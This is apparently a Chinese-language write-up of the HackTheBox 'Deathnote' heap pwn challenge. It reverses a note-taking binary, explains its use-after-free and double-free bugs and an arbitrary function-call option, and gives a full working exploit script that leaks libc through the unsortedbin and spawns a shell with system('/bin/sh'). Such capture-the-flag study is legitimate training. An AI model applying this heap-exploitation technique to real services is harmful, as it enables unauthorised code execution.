selph
selph
Published on 2024-11-08 / 34 Visits
1
0

[HTB] Deathnote

前言

一个简单的堆问题,要点是如何用0x80的chunk泄露出libc

今天是第15天,继续努力!

题目情况

You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

逆向分析

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 choose; // rax
  __int64 v5[10]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v6; // [rsp+68h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(v5, 0, sizeof(v5));
  while ( 1 )
  {
    while ( 1 )
    {
      choose = menu();
      if ( choose != '*' )
        break;
      _((__int64)v5);                           // *
                                                // 任意函数调用
                                                // 申请8次,释放,最后一次进入unsortedbin,拿到libc leak
                                                // 最后2次申请的chunk需要位于前两次申请的地方
                                                // 一个写入地址
                                                // 一个写入参数
    }
    if ( choose > '*' )
    {
LABEL_13:
      error("Invalid choice!\n");
    }
    else if ( choose == 3 )
    {
      show(v5);                                 // 3
                                                // 可以打印内容,存在UAF
    }
    else
    {
      if ( choose > 3 )
        goto LABEL_13;
      if ( choose == 1 )
      {
        add(v5);                                // 1
                                                // 申请1--0x80的内存
                                                // 最多10次,读取内容,无溢出
      }
      else
      {
        if ( choose != 2 )
          goto LABEL_13;
        delete(v5);                             // 2
                                                // 疑似double-free
      }
    }
  }
}

如注释所述,接下来看看具体内容:

add:

unsigned __int64 __fastcall add(__int64 *a1)
{
  unsigned __int8 idx; // [rsp+15h] [rbp-1Bh]
  unsigned __int16 size; // [rsp+16h] [rbp-1Ah]
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  get_empty_note(a1);
  printf("\nHow big is your request?\n\n馃拃 ");
  size = read_num();                            // size
  if ( size > 1u && size <= 0x80u )
  {
    printf("\nPage?\n\n馃拃 ");
    idx = read_num();                           // idx
    if ( (unsigned __int8)check_idx(idx) == 1 ) // 需要<=9,最多10个
    {
      a1[idx] = (__int64)malloc(size);          // 申请内存
      printf("\nName of victim:\n\n馃拃 ");
      read(0, (void *)a1[idx], size - 1);       // 写入内容,无溢出
      printf("%s\n[!] The fate of the victim has been sealed!%s\n\n", "\x1B[1;33m", "\x1B[1;36m");
    }
  }
  else
  {
    error("Don't play with me!\n");
  }
  return v4 - __readfsqword(0x28u);
}

可以使用最多10个chunk,大小最大0x80

free:

unsigned __int64 __fastcall delete(__int64 *a1)
{
  unsigned __int8 idx; // [rsp+17h] [rbp-9h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("\nPage?\n\n馃拃 ");
  idx = read_num();
  if ( (unsigned __int8)check_idx(idx) == 1 )
  {
    if ( a1[idx] )
      printf("%s\nRemoving page [%d]\n\n%s", "\x1B[1;32m", idx, "\x1B[1;36m");
    else
      error("Page is already empty!\n");
    free((void *)a1[idx]);                      // 无论是否,都会再次调用free,double-free漏洞
  }
  return v3 - __readfsqword(0x28u);
}

释放后不清空指针,导致UAF

show:

unsigned __int64 __fastcall show(__int64 *a1)
{
  unsigned __int8 idx; // [rsp+17h] [rbp-9h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("\nPage?\n\n馃拃 ");
  idx = read_num();
  if ( (unsigned __int8)check_idx(idx) == 1 )
  {
    if ( a1[idx] )
      printf("\nPage content: %s\n", (const char *)a1[idx]);
    else
      error("Page is empty!\n");
  }
  return v3 - __readfsqword(0x28u);
}

可以读取释放后内存的数据

选项42:

unsigned __int64 __fastcall _(__int64 *a1)
{
  void (__fastcall *v2)(__int64); // [rsp+18h] [rbp-18h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("\x1B[1;33m");
  cls();
  printf(aS, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;36m");
  v2 = (void (__fastcall *)(__int64))strtoull((const char *)*a1, 0LL, 16);// 字符串转数字
  if ( v2 || *(_BYTE *)*a1 == '0' || *(_BYTE *)(*a1 + 1) == 'x' )// 0x开头
  {
    if ( !*a1 || !a1[1] )
    {
      error("What you are trying to do is unacceptable!\n");
      exit(1312);
    }
    puts(aExecuting);
    v2(a1[1]);                                  // 函数调用
                                                // a1[0]的内容作为地址
                                                // a1[1]的内容作为参数
  }
  else
  {
    puts("Error: Invalid hexadecimal string");
  }
  return v3 - __readfsqword(0x28u);
}

这里接收idx0和idx1的两个指针的值,第一个作为十六进制数,解析成数字作为函数地址进行调用

第二个作为参数被使用

利用分析

辅助函数:

def cmd(i, prompt=b"\xf0\x9f\x92\x80\x20"):
    sla(prompt, i)

def add(sz:int,idx:int,ctx:bytes):
    cmd('1')
    sla(b"How big is your request?",str(sz).encode())
    sla(b"Page?",str(idx).encode())
    sla(b"Name of victim:", ctx)
    #......

def free(idx:int):
    cmd('2')
    sla(b"Page?",str(idx).encode())

    #......

def show(idx:int):
    cmd('3')
    sla(b"Page?",str(idx).encode())
    #......

leak libc address

这个参数42可以任意函数执行,要做的就是拿到函数地址

可以最多申请0x80字节 内存,可控10个内存

申请0x80的内存装满tcache,然后多出来一个进入unsortedbin,从这里拿到libc leak:

for i in range(8):
    add(0x80, i, b"a")
for i in range(7,-1,-1):
    free(i)
show(0)

ru(b"Page content: ")
leak = rl()[:-1] + b"\x00\x00"
leak = unpack(leak)
print(hex(leak))

此时的内存:

0x5581ff4f56a0  0x0000000000000000      0x0000000000000091      ................         <-- unsortedbin[all][0]
0x5581ff4f56b0  0x00007f761b97dce0      0x00007f761b97dce0      ....v.......v...
0x5581ff4f56c0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f56d0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f56e0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f56f0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5700  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5710  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5720  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5730  0x0000000000000090      0x0000000000000090      ................
0x5581ff4f5740  0x00005584a750a325      0x4268de7c24e1d2c4      %.P..U.....$|.hB         <-- tcachebins[0x90][0/7]
0x5581ff4f5750  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5760  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5770  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5780  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5790  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f57a0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f57b0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f57c0  0x0000000000000000      0x0000000000000091      ................
0x5581ff4f57d0  0x00005584a750ac95      0x4268de7c24e1d2c4      ..P..U.....$|.hB         <-- tcachebins[0x90][1/7]
0x5581ff4f57e0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f57f0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5800  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5810  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5820  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5830  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5840  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5850  0x0000000000000000      0x0000000000000091      ................
0x5581ff4f5860  0x00005584a750ac05      0x4268de7c24e1d2c4      ..P..U.....$|.hB         <-- tcachebins[0x90][2/7]
0x5581ff4f5870  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5880  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5890  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f58a0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f58b0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f58c0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f58d0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f58e0  0x0000000000000000      0x0000000000000091      ................
0x5581ff4f58f0  0x00005584a750ad75      0x4268de7c24e1d2c4      u.P..U.....$|.hB         <-- tcachebins[0x90][3/7]
0x5581ff4f5900  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5910  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5920  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5930  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5940  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5950  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5960  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5970  0x0000000000000000      0x0000000000000091      ................
0x5581ff4f5980  0x00005584a750aee5      0x4268de7c24e1d2c4      ..P..U.....$|.hB         <-- tcachebins[0x90][4/7]
0x5581ff4f5990  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f59a0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f59b0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f59c0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f59d0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f59e0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f59f0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5a00  0x0000000000000000      0x0000000000000091      ................
0x5581ff4f5a10  0x00005584a750ae55      0x4268de7c24e1d2c4      U.P..U.....$|.hB         <-- tcachebins[0x90][5/7]
0x5581ff4f5a20  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5a30  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5a40  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5a50  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5a60  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5a70  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5a80  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5a90  0x0000000000000000      0x0000000000000091      ................
0x5581ff4f5aa0  0x00000005581ff4f5      0x4268de7c24e1d2c4      ...X.......$|.hB         <-- tcachebins[0x90][6/7]
0x5581ff4f5ab0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5ac0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5ad0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5ae0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5af0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5b00  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5b10  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5b20  0x0000000000000000      0x00000000000204e1      ................         <-- Top chunk

drop shell

然后申请idx=0的内存写入system函数地址,申请idx=1的内存写入/bin/sh字符串,即可拿到shell:

add(0x80,0,hex(libc.sym.system))
add(0x80,1,b"/bin/sh\x00")

内存布局:

0x5581ff4f5730  0x0000000000000090      0x0000000000000090      ................
0x5581ff4f5740  0x6231363766377830      0x000a303764336237      0x7f761b7b3d70..
0x5581ff4f5750  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5760  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5770  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5780  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5790  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f57a0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f57b0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f57c0  0x0000000000000000      0x0000000000000091      ................
0x5581ff4f57d0  0x0068732f6e69622f      0x000000000000000a      /bin/sh.........
0x5581ff4f57e0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f57f0  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5800  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5810  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5820  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5830  0x0000000000000000      0x0000000000000000      ................
0x5581ff4f5840  0x0000000000000000      0x0000000000000000      ................

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b"\xf0\x9f\x92\x80\x20"):
    sla(prompt, i)

def add(sz:int,idx:int,ctx:bytes):
    cmd('1')
    sla(b"How big is your request?",str(sz).encode())
    sla(b"Page?",str(idx).encode())
    sla(b"Name of victim:", ctx)
    #......

def free(idx:int):
    cmd('2')
    sla(b"Page?",str(idx).encode())

    #......

def show(idx:int):
    cmd('3')
    sla(b"Page?",str(idx).encode())
    #......

for i in range(8):
    add(0x80, i, b"a")
for i in range(7,-1,-1):
    free(i)
show(0)

ru(b"Page content: ")
leak = rl()[:-1] + b"\x00\x00"
leak = unpack(leak)
print(hex(leak))
pause()
libc.address = leak -0x21ace0
log.success(f"LIBC: {hex(libc.address)}")

add(0x80,0,hex(libc.sym.system))
add(0x80,1,b"/bin/sh\x00")

cmd(42)

ia()

总结

一个简单的堆问题,UAF泄露libc

参考资料


Comment